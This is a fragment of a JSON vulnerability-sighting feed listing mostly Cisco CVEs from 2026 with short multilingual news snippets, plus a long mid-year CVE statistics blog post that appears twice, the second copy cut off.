"CVE-2026-20217", "type": "published-proof-of-concept", "source": "Telegram/Hnh5kvBiZ07q02Wzarvcrlnf48Y4Gt3kSaOKhn6LmktH_wo", "content": "", "creation_timestamp": "2026-08-19T00:00:26.933693Z"}, {"uuid": "c1472b2f-ce2e-4b4a-ab1a-587887af6c77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/actualite/CERTFR-2026-ACT-028", "content": "", "creation_timestamp": "2026-07-01T02:45:19.523436Z"}, {"uuid": "e802cbaa-935f-4dae-86c7-fab6cab2a069", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "published-proof-of-concept", "source": "Telegram/GwuC3cy-O_zU2KFCuHY_MrTkUTBOKWE1Dd5EfEUwy3SR_6M", "content": "", "creation_timestamp": "2026-08-19T00:00:28.288844Z"}, {"uuid": "b397866a-b4c9-4762-ae65-2a1254e468dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://t.me/pphm_HackerNews/2380", "content": "\ud83d\udd34 Cisco Secure FMC Zero-Day Exploited in the Wild\n\nCisco on Wednesday announced patches for an actively exploited zero-day vulnerability affecting its Secure Firewall Management Center (FMC) product.\n\nThe security hole, tracked as CVE-2026-20316, has been described as a static credential issue. Specifically, an attacker can leverage default credentials for a low-privilege user account to log into vulnerable devices and access sensitive data.\n\nCisco assigned a \u2018high severity\u2019 rating to the vulnerability, noting that it can be chained with other FMC flaws to escalate privileges.\n\n\u201cIf the FMC management interface does not have public internet access, the attack surface that is associated with this vulnerability is reduced,\u201d Cisco said in its advisory.", "creation_timestamp": "2026-08-22T00:00:11.134841Z"}, {"uuid": "c2fa8664-8c74-4953-b97a-2693d5c78026", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mpkqqp3w6f2c", "content": "Daily IT Security Digest \u2014 2026-07-01\nshould apply the fix immediately.\nSource: https://mastodon.social/@EUVD_Bot/116842733719653397\n\n### 3. Cisco Catalyst SD-WAN Manager Zero-Day Exploited in the Wild\nA zero-day vulnerability (CVE-2026-20262) in Cisco Catalyst SD-WAN Manager is actively being", "creation_timestamp": "2026-07-01T05:08:07.934949Z"}, {"uuid": "1d5c303f-d25f-4dcb-a472-f721f50e2c66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20462", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpkqssa4si2l", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20462: \u0443\u0433\u0440\u043e\u0437\u0430 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0438\u0438 \u0438\u0437-\u0437\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438\n\n\n\nhttps://kripta.biz/posts/C217D8D8-9C49-4D14-9E60-EE31FD48CEA7", "creation_timestamp": "2026-07-01T05:09:18.293333Z"}, {"uuid": "ee443e8a-d0e0-4665-acce-106b08d8e6ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20457", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mplk23bz3w23", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20457 \u0432 \u043c\u043e\u0434\u0435\u043c\u0430\u0445: \u043f\u0440\u0438\u0447\u0438\u043d\u044b, \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/16DBE000-5227-40B5-9D4A-D48348AA173B", "creation_timestamp": "2026-07-01T12:40:46.137378Z"}, {"uuid": "dea05408-23a3-4266-80f8-858d06abff7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20461", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mplkanecxd2l", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20461 \u0432 \u043c\u043e\u0434\u0435\u043c\u0430\u0445: \u0443\u0433\u0440\u043e\u0437\u0430 \u0438\u0437-\u0437\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0433\u0440\u0430\u043d\u0438\u0446\n\n\n\nhttps://kripta.biz/posts/F051B3AA-FB05-4515-8E10-F25C18E6C459", "creation_timestamp": "2026-07-01T12:44:26.299537Z"}, {"uuid": "62cfebee-66af-4331-a090-b3ee3022f41b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20460", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mplkcmy35i2t", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20460 \u0432 \u043c\u043e\u0434\u0435\u043c\u0430\u0445: \u0443\u0433\u0440\u043e\u0437\u0430 \u0443\u0442\u0435\u0447\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445\n\n\n\nhttps://kripta.biz/posts/1BB7EF0F-02DA-437E-8F25-69480F49F675", "creation_timestamp": "2026-07-01T12:45:33.073256Z"}, {"uuid": "44b5de9a-c70e-4c89-af05-e7faa25123ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20459", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mplkeiodoz2u", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20459 \u0432 \u043c\u043e\u0434\u0435\u043c\u0430\u0445: \u043f\u0440\u0438\u0447\u0438\u043d\u044b, \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/FAAD6DFE-8232-4416-AFBE-1EAF43185A45", "creation_timestamp": "2026-07-01T12:46:35.779183Z"}, {"uuid": "296a44d2-42c2-4c14-b0f0-19f51f93902f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "Telegram/SAqdp9bHH88ksxYx8tSwP5q461mBwCPpE6VU5oVsthx6anc", "content": "", "creation_timestamp": "2026-08-15T08:00:07.621850Z"}, {"uuid": "134587bc-a229-47d2-8b43-ac0bea356892", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116845478626076701", "content": "New Cisco advisory relating to a June 3 critical vulnerability:\nCVE-2026-20230: Cisco Unified Communications Manager Server-Side Request Forgery Vulnerability https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cucm-ssrf-cXPnHcW @TalosSecurity #vulnerability #Cisco", "creation_timestamp": "2026-07-01T15:41:51.725456Z"}, {"uuid": "4deae704-8289-462e-a9a6-43ce8b70585e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20193", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpluclzwsd2u", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20193 \u0432 Cisco ISE: \u0443\u0433\u0440\u043e\u0437\u0430 \u0434\u043b\u044f RADIUS-\u043f\u043e\u043b\u0438\u0442\u0438\u043a \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/8DA6134F-0AD9-4D9C-800B-41D016F39C8B", "creation_timestamp": "2026-07-01T15:44:29.505500Z"}, {"uuid": "548cbb9d-4081-40ca-b1c3-91e1fe25785b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://www.jerrygamblin.com/2026/07/01/3528/", "content": "We are halfway through 2026, so it is time for the mid-year CVE check-in. The short version: the volume curve has gone vertical while exploitation has not. This review covers everything published in the first half of 2026 (Jan 1 – Jun 30, 2026), the volume, the severity, what is actually being exploited, and who is driving the numbers, all measured against the same elapsed window a year ago so a partial half is never compared to a full one.\n\n\n\n\nTL;DR\n\n\n\n\nThe first half of 2026 produced 35,364 CVEs, more in six months than any full year before 2024 (all of 2023 finished at 28,817). That works out to one new CVE every 7.4 minutes, an increase of 49.5% over the same window in 2025 (23,656). And yet only 85 of them (0.24%) have made CISA’s KEV list so far, a floor that will rise as the cohort ages and exploitation is confirmed. That gap is the story of 2026 so far: we are minting CVEs faster than ever while confirmed exploitation stays rare, so the hard problem is signal-to-noise, not patch volume.\n\n\n\n\nAt this pace the year projects to roughly 71,314 to 72,008, and the all-time catalog has now passed 344,258 CVEs since 1999.\n\n\n\n\n\n\nNote: All statistics in this report exclude rejected CVEs to provide an accurate count of active vulnerabilities.\n\n\n\n\n\nKey Statistics at a Glance\n\n\n\n\n\nMetricValueTotal CVEs (H1 2026)35,364CVEs per Day195.4Change vs same window 2025+49.5%Projected Full Year71,314 – 72,008Critical Severity3,554High Severity13,821Average CVSS Score6.89CVSS Coverage94.3%CWE Coverage95.6%Active CNAs340Rejected CVEs (H1 2026)1,265Already Known-Exploited (KEV)85\n\n\n\n\n\n\n\n\n\nH1-over-H1: Three Years Side by Side\n\n\n\n\nTo keep the comparison honest while 2026 is still in progress, each year is measured over the identical window (January 1 through Jun 30).\n\n\n\n\n\nWindowCVEsPer DayAvg CVSSJan 1 – Jun 30, 202420,374112.66.65Jan 1 – Jun 30, 202523,656130.76.57Jan 1 – Jun 30, 202635,364195.46.89\n\n\n\n\n\n\n\n\n\nForecast Scorecard: Are We On Pace?\n\n\n\n\nAt 195.4 CVEs/day, two straight-line methods land close to each other (both are simple extrapolations of the same H1 run, so this is a sanity check, not two truly independent signals): the run-rate extrapolates to 71,314, and a seasonality-adjusted estimate (scaling the pace across the full half, then dividing by 2025’s 49% first-half share) to 72,008.\n\n\n\n\nCVEForecast, one of my own RogoLabs tools, projects\u00a090,831 CVEs\u00a0for full-year 2026 (LinearRegression, MAPE 17.9), so I am partly arguing with my own model here. That is\u00a018,823 above\u00a0the top of the straight-line range, and here is where I will plant a flag:\u00a0I think the model is high.\u00a0Both simple extrapolations land near 72,008, and the forecast’s entire gap to them rests on a heavy second-half surge that still has to show up.\u00a0My call is the year closes nearer 72,008 than 90,831.\u00a0I will happily eat those words in the December review if H2 accelerates the way the model expects, but the burden of proof is on the surge.\n\n\n\n\n\n\n\n\n\nWhat Changed in H1 2026\n\n\n\n\nGitHub Security Advisories is the busiest CNA at 6,801 assignments. New to the most-affected product list this year: Chrome, OpenClaw. Among weakness types, CWE-862 (Missing Authorization) climbed to #2 in the top five.\n\n\n\n\nSpotlight: OpenClaw. A project that barely existed a year ago, OpenClaw (Peter Steinberger’s viral local AI agent, the subject of Lex Fridman Podcast #491) is already one of the most-reported products of the half with 537 CVEs. The striking part is who is doing the reporting: VulnCheck alone assigned 500 of them (93%), disclosed steadily across the half rather than in a single dump. That concentration says more about researcher attention than code quality: VulnCheck, whose remit is emerging and exploited-in-the-wild threats, is exactly the kind of team that systematically covers a fast-growing new target, and concentrated third-party research on a hot AI agent is the coverage you would want. To its credit the project embraced the CVE lifecycle itself, issuing advisories through GitHub as reports came in. I track its CVEs at OpenClawCVEs.\n\n\n\n\n\n\n\n\n\nHistorical CVE Growth\n\n\n\n\nTo compare like with like, this chart counts only the first half of every year (January 1 through Jun 30). On that basis 2026 already stands taller than any prior first half: more CVEs in six months than the same window has ever produced.\n\n\n\n\n\n\n\n\n\nFirst-half growth has been relentless, and 2026 is +49.5% on the first half of 2025.\n\n\n\n\n\n\n\n\n\nCounting full years, the cumulative catalog has now passed 344,258 CVEs.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nMonthly Distribution (H1 2026)\n\n\n\n\nCVE publications varied across the first half of 2026, with Jun being the peak month at 7,454 CVEs.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nPublication Patterns by Day of Week\n\n\n\n\nPublishing clusters midweek. Wednesday is the busiest day at 7,943 CVEs, with Tuesday close behind at 7,216. Patch Tuesday is part of the story, but the midweek bulge owes as much to the high-volume CNAs (GitHub, Linux, the WordPress plugin crowd) that batch-publish midweek.\n\n\n\n\n\n\n\n\n\nWeekdays average 6,517 CVEs against just 1,389 on weekends.\n\n\n\n\n\n\n\n\n\nBusiest Days of H1 2026\n\n\n\n\nSome days saw massive spikes in CVE publications:\n\n\n\n\n\n\n\n\n\nTop 5 Busiest Days\n\n\n\n\n\nRankDateCVE Count12026-06-0974722026-06-1773232026-05-2771642026-03-2560652026-05-12554\n\n\n\n\n\n\n\n\n\nCVSS Score Analysis\n\n\n\n\nThe Common Vulnerability Scoring System (CVSS) helps standardize severity assessments. Here’s how H1 2026 CVEs were distributed across the scoring range.\n\n\n\n\n\n\n\n\n\nThe average CVSS score for H1 2026 was 6.89, with a median of 7.10.\n\n\n\n\nSeverity Breakdown\n\n\n\n\n\nSeverityCountPercentageCritical3,55410.0%High13,82139.1%Medium14,48541.0%Low3,0568.6%Unscored4481.3%\n\n\n\n\nPercentages are of all H1 2026 CVEs; “Unscored” are the 1.3% with no CVSS severity assigned.\n\n\n\n\n\n\n\n\n\nCVSS Trends Over Time\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nTop Weakness Types (CWE)\n\n\n\n\nThe Common Weakness Enumeration (CWE) categorizes the types of security weaknesses. Here are the most prevalent weakness types in H1 2026:\n\n\n\n\n\n\n\n\n\nTop 5 CWEs in H1 2026\n\n\n\n\n\nRankCWENameCount1CWE-79XSS3,7832CWE-862Missing Authorization1,7043CWE-89SQL Injection1,4454CWE-22Path Traversal1,2645CWE-416Use After Free1,037\n\n\n\n\n\n\n\n\n\nCVE Numbering Authorities (CNAs)\n\n\n\n\nThe leaderboard increasingly reflects where modern software and modern vulnerability research live: platform and ecosystem CNAs (GitHub, Patchstack) and dedicated research CNAs (VulnCheck, VulDB) alongside the traditional product vendors. High assignment counts are not inflation, a CNA covering the WordPress plugin ecosystem or issuing a CVE per kernel fix is doing exactly its job; the low KEV overlap below reflects how rare confirmed exploitation is across all sources, not the validity of any CNA’s records. The most active assigners this year:\n\n\n\n\n\n\n\n\n\nTop 5 CNAs in H1 2026\n\n\n\n\n\nRankCNACVEs Assigned1GitHub Security Advisories6,8012VulDB3,3193VulnCheck3,2734Patchstack2,7045Linux2,564\n\n\n\n\nIn total, 340 unique CNAs assigned CVEs in H1 2026.\n\n\n\n\n\n\n\n\n\nTop Vendors\n\n\n\n\nThe vendors with the most CVEs attributed to their products this year (each links to its NVD search):\n\n\n\n\n\n\n\n\n\nTop 5 Vendors in H1 2026\n\n\n\n\n\nRankVendorCVE Count1Linux2,5642Google1,8013Microsoft8644OpenClaw5375Oracle445\n\n\n\n\n\n\n\n\n\nMost Vulnerable Products\n\n\n\n\nDrilling past vendors to specific products, the H1 2026 leaders:\n\n\n\n\n\n\n\n\n\nTop 5 Products\n\n\n\n\n\nRankProductCVE Count1Linux Kernel1,9562Chrome1,2033OpenClaw5344Windows 103725Android303\n\n\n\n\nProduct-level counts can differ slightly from the vendor totals above: a vendor’s CVEs may span several products, and a single CVE can name more than one.\n\n\n\n\n\n\n\n\n\nKnown-Exploited Vulnerabilities (CISA KEV)\n\n\n\n\nVolume is the headline, but exploitation is what should actually drive patching. Of the 35,364 CVEs published in H1 2026, only 85 (0.24%) have shown up in the CISA KEV catalog so far. Treat that as a floor, not a verdict: KEV is a US-government catalog that lags disclosure by months and records only confirmed, observed exploitation, so this share will climb as the 2026 cohort ages. Even so, the signal holds, most CVEs are not known-exploited, so exploitability (KEV plus a forward-looking score like EPSS) beats chasing raw counts.\n\n\n\n\nNote these are two different populations: the 85 above are H1-2026-published CVEs already in KEV, while CISA added 146 entries to KEV during the half (more than the 132 added in the same window of 2025, many of them older CVEs newly exploited), and 17 of those additions are tied to known ransomware campaigns.\n\n\n\n\nH1 2026 CVEs Already in KEV\n\n\n\n\nA sample (5 most recent of 85):\n\n\n\n\n\nCVEVendorProductAddedRansomwareCVE-2026-48558SimplehelpSimpleHelp2026-06-29NoCVE-2026-20230CiscoUnified Communications Manager2026-06-25NoCVE-2026-12569PtcWindchill and FlexPLM2026-06-25NoCVE-2025-67038LantronixEDS50002026-06-23NoCVE-2026-34910UbiquitiUniFi OS2026-06-23No\n\n\n\n\n\n\n\n\n\nData Quality\n\n\n\n\nNot all CVEs have complete metadata. Here’s how data quality has evolved over the years:\n\n\n\n\n\n\n\n\n\nH1 2026 Data Quality Metrics\n\n\n\n\n\nMetricCoverageCVSS Score94.3%CWE Classification95.6%CPE Identifiers59.0%\n\n\n\n\nThis is where two ideas from the CVE Decaf work I did with Jay Jacobs get practical: actionable data quality (judge a record by whether it is complete enough to act on, not by abstract completeness) and data provenance (knowing which source asserted each field). The CPE gap is the clearest case. At 59.0% CPE coverage, nearly half of H1 2026 CVEs cannot be automatically matched to a product the day they publish, so for those records the answer to “can I act on this today?” is no, no matter how complete the rest of the entry looks. Scoring each record on its provenance (who supplied it) and on the fields that actually drive action (CPE for asset matching, KEV and EPSS for exploitability) is how you turn the raw feed into a measurable signal-to-noise ratio instead of a flat backlog.\n\n\n\n\n\n\n\n\n\nRejected CVEs\n\n\n\n\nNot all CVE IDs stay active. Some are rejected for duplicates, disputes, or invalid submissions, and the rejection rate is a useful read on the ecosystem’s quality control.\n\n\n\n\n\n\n\n\n\nH1 2026 Rejection Statistics\n\n\n\n\n\nMetricValueRejected CVEs in H1 20261,265H1 2026 Rejection Rate3.45%Total Rejected (All Time)17,648\n\n\n\n\nCVE rejections occur for several reasons:\n\n\n\n\n\n\nDuplicates: The same vulnerability assigned multiple CVE IDs\n\n\n\n\nDisputes: Vendor disagreement that the issue is a vulnerability\n\n\n\n\nInvalid: Not a security vulnerability or insufficient information\n\n\n\n\nWithdrawn: CVE withdrawn by the assigning CNA\n\n\n\n\n\n\n\n\n\n\nConclusions\n\n\n\n\nKey Takeaways from the First Half of 2026\n\n\n\n\n\n\nVolume keeps climbing: 35,364 CVEs in roughly six months, up 49.5% on the same window last year, with the full year projecting to 71,314-72,008.\n\n\n\n\nSeverity stays heavy: 17,375 CVEs (49.1%) are Critical or High.\n\n\n\n\nWeb and access-control flaws lead: XSS, Missing Authorization, SQL Injection, Path Traversal headline the CWE list. Memory-safety issues barely register in the top tier this half.\n\n\n\n\nThe CNA mix is shifting: platform teams and aggregators, not the original vendors, now top the assigner list, and the lineup reshuffled from a year ago.\n\n\n\n\nCoverage gaps persist: CVSS and CWE are well covered, but CPE sits at 59.0%, which still hampers automated matching.\n\n\n\n\nConfirmed exploitation stays rare (so far): just 85 of 35,364 H1 CVEs (0.24%) are in CISA KEV today, a floor that rises as the cohort ages. Volume is a triage problem, not a patch-everything problem.\n\n\n\n\n\nWhat this means for you\n\n\n\n\n\n\nIf you defend a network: do not let the raw count set your pace. Only 0.24% of H1 CVEs are confirmed-exploited in KEV today, but KEV lags and is a floor, not the full risk picture. Lead with exploitability (KEV as a hard floor, EPSS with a threshold you pick), then weight by your own context: internet-facing and sensitive systems jump the queue regardless of score, and compliance SLAs (PCI, FedRAMP, and the like) still set hard clocks. Lower priority is not never, so park the rest in a managed cycle rather than ignoring it.\n\n\n\n\nIf you run a CNA: the leaderboard now runs through platforms, ecosystems, and research CNAs. Volume reflects scope, not padding; the differentiator that is still genuinely uneven is data quality, and the biggest gap, CPE coverage, is largely an NVD-side enrichment problem rather than a function of who assigned the CVE.\n\n\n\n\nIf you consume NVD data: enrichment is the bottleneck. CPE at 59.0% means nearly half of new CVEs lack a formal CPE, which complicates NVD-style automated matching (many CNAs still carry vendor/product strings), and volume only widens that gap.\n\n\n\n\n\nWhat I’m watching in H2\n\n\n\n\nMy call from the scorecard stands: 2026 closes nearer 72,008 than the 90,831 forecast. Two things would change my mind: a December disclosure surge bigger than 2025’s, or another OpenClaw-style project flooding the catalog. The year-end review settles it.\n\n\n\n\n\n\n\n\n\nMethodology and Reproducibility\n\n\n\n\nTwo primary data sources, plus two enrichment feeds:\n\n\n\n\n\n\nNVD JSON – National Vulnerability Database export from nvd.handsonhacking.org\n\n\n\n\nCVE List V5 – Official CVE records from CVEProject/cvelistV5\n\n\n\n\nForecast\u00a0–\u00a0CVEForecast\u00a0full-year projection\n\n\n\n\nExploitation – CISA KEV catalog\n\n\n\n\n\nEverything here is reproducible. The full pipeline (Python, pandas, matplotlib) is on GitHub at\u00a0jgamblin/H12026CVEBlog, and it leans on the free CVE tooling I build at\u00a0RogoLabs:\u00a0cve.icu,\u00a0cnascorecard.org, and\u00a0cveforecast.org.\n\n\n\n\nData collected and analyzed on July 01, 2026.", "creation_timestamp": "2026-07-01T19:00:55.757839Z"}, {"uuid": "e10fc6ae-2c96-4fe1-b07a-517f1359fad7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20191", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mpmc4yksgp2k", "content": "Cisco Catalyst Center\u306b\u3001\u30e6\u30fc\u30b6\u30fc\u5165\u529b\u306e\u4e0d\u5341\u5206\u306a\u691c\u8a3c\u306b\u3088\u308b\u8106\u5f31\u6027\u304c\u898b\u3064\u304b\u308a\u307e\u3057\u305f\u3002\u3053\u308c\u306b\u3088\u308a\u3001\u653b\u6483\u8005\u306f\u5236\u9650\u3055\u308c\u305f\u30b3\u30f3\u30c6\u30ca\u304b\u3089\u4efb\u610f\u306e\u30d5\u30a1\u30a4\u30eb\u3092\u8aad\u307f\u53d6\u308b\u3053\u3068\u304c\u53ef\u80fd\u306b\u306a\u308a\u307e\u3059\u3002\nCVE-2026-20191 CVSS 7.5 | HIGH", "creation_timestamp": "2026-07-01T19:52:02.905259Z"}, {"uuid": "546842de-378c-434a-a5e4-6186be3594c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mpmcl5h7qc2g", "content": "Cisco SD-WAN\u306b\u65b0\u305f\u306a\u6839\u672c\u539f\u56e0\u304c\u767a\u751f\u3057\u3001\u4eca\u306e\u3068\u3053\u308d\u89e3\u6c7a\u7b56\u306f\u306a\u3044\u3002\n\nCisco\u306f\u3001Cisco Catalyst SD-WAN Manager\uff08\u65e7\u79f0SD-WAN vManage\uff09\u306b\u3001\u6a29\u9650\u6607\u683c\u306e\u8106\u5f31\u6027\uff08CVE-2026-20245\u3001CVSS\u57fa\u672c\u30b9\u30b3\u30a27.8\uff09\u304c\u5b58\u5728\u3059\u308b\u3053\u3068\u3092\u8b66\u544a\u3057\u3066\u3044\u307e\u3059\u3002\u8a8d\u8a3c\u6e08\u307f\u306e\u30ed\u30fc\u30ab\u30eb\u653b\u6483\u8005\u306f\u3001\u3053\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3057\u3066root\u6a29\u9650\u3067\u4efb\u610f\u306e\u30b3\u30de\u30f3\u30c9\u3092\u5b9f\u884c\u3067\u304d\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\u73fe\u6642\u70b9\u3067\u30d1\u30c3\u30c1\u306f\u63d0\u4f9b\u3055\u308c\u3066\u304a\u3089\u305a\u3001\u56de\u907f\u7b56\u3082\u3042\u308a\u307e\u305b\u3093\u3002\n\n\u4ed5\u7d44\u307f\u306f\u5358\u7d14\u660e\u5feb\u3067\u3001\u5165\u529b\u691c\u8a3c\u306e\u4e0d\u5099\u304c\u539f\u56e0\u3067\u3059\u3002\u3053\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3059\u308b\u306b\u306f\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u7ba1\u7406\u8005\u6a29\u9650\u304c\u5fc5\u8981\u3067\u3059\u304c\u3001\u653b\u6483\u8005\u306f\u76d7\u3093\u3060\u8a8d\u8a3c\u60c5\u5831\u3092\u4f7f\u7528...", "creation_timestamp": "2026-07-01T19:59:58.321493Z"}, {"uuid": "1f3036dc-9995-4abe-9a2a-9b36c031e706", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://www.jerrygamblin.com/2026/07/01/3528/", "content": "We are halfway through 2026, so it is time for the mid-year CVE check-in. The short version: the volume curve has gone vertical while exploitation has not. This review covers everything published in the first half of 2026 (Jan 1 – Jun 30, 2026), the volume, the severity, what is actually being exploited, and who is driving the numbers, all measured against the same elapsed window a year ago so a partial half is never compared to a full one.\n\n\n\n\nTL;DR\n\n\n\n\nThe first half of 2026 produced 35,364 CVEs, more in six months than any full year before 2024 (all of 2023 finished at 28,817). That works out to one new CVE every 7.4 minutes, an increase of 49.5% over the same window in 2025 (23,656). And yet only 85 of them (0.24%) have made CISA’s KEV list so far, a floor that will rise as the cohort ages and exploitation is confirmed. That gap is the story of 2026 so far: we are minting CVEs faster than ever while confirmed exploitation stays rare, so the hard problem is signal-to-noise, not patch volume.\n\n\n\n\nAt this pace the year projects to roughly 71,314 to 72,008, and the all-time catalog has now passed 344,258 CVEs since 1999.\n\n\n\n\n\n\nNote: All statistics in this report exclude rejected CVEs to provide an accurate count of active vulnerabilities.\n\n\n\n\n\nKey Statistics at a Glance\n\n\n\n\n\nMetricValueTotal CVEs (H1 2026)35,364CVEs per Day195.4Change vs same window 2025+49.5%Projected Full Year71,314 – 72,008Critical Severity3,554High Severity13,821Average CVSS Score6.89CVSS Coverage94.3%CWE Coverage95.6%Active CNAs340Rejected CVEs (H1 2026)1,265Already Known-Exploited (KEV)85\n\n\n\n\n\n\n\n\n\nH1-over-H1: Three Years Side by Side\n\n\n\n\nTo keep the comparison honest while 2026 is still in progress, each year is measured over the identical window (January 1 through Jun 30).\n\n\n\n\n\nWindowCVEsPer DayAvg CVSSJan 1 – Jun 30, 202420,374112.66.65Jan 1 – Jun 30, 202523,656130.76.57Jan 1 – Jun 30, 202635,364195.46.89\n\n\n\n\n\n\n\n\n\nForecast Scorecard: Are We On Pace?\n\n\n\n\nAt 195.4 CVEs/day, two straight-line methods land close to each other (both are simple extrapolations of the same H1 run, so this is a sanity check, not two truly independent signals): the run-rate extrapolates to 71,314, and a seasonality-adjusted estimate (scaling the pace across the full half, then dividing by 2025’s 49% first-half share) to 72,008.\n\n\n\n\nCVEForecast, one of my own RogoLabs tools, projects\u00a090,831 CVEs\u00a0for full-year 2026 (LinearRegression, MAPE 17.9), so I am partly arguing with my own model here. That is\u00a018,823 above\u00a0the top of the straight-line range, and here is where I will plant a flag:\u00a0I think the model is high.\u00a0Both simple extrapolations land near 72,008, and the forecast’s entire gap to them rests on a heavy second-half surge that still has to show up.\u00a0My call is the year closes nearer 72,008 than 90,831.\u00a0I will happily eat those words in the December review if H2 accelerates the way the model expects, but the burden of proof is on the surge.\n\n\n\n\n\n\n\n\n\nWhat Changed in H1 2026\n\n\n\n\nGitHub Security Advisories is the busiest CNA at 6,801 assignments. New to the most-affected product list this year: Chrome, OpenClaw. Among weakness types, CWE-862 (Missing Authorization) climbed to #2 in the top five.\n\n\n\n\nSpotlight: OpenClaw. A project that barely existed a year ago, OpenClaw (Peter Steinberger’s viral local AI agent, the subject of Lex Fridman Podcast #491) is already one of the most-reported products of the half with 537 CVEs. The striking part is who is doing the reporting: VulnCheck alone assigned 500 of them (93%), disclosed steadily across the half rather than in a single dump. 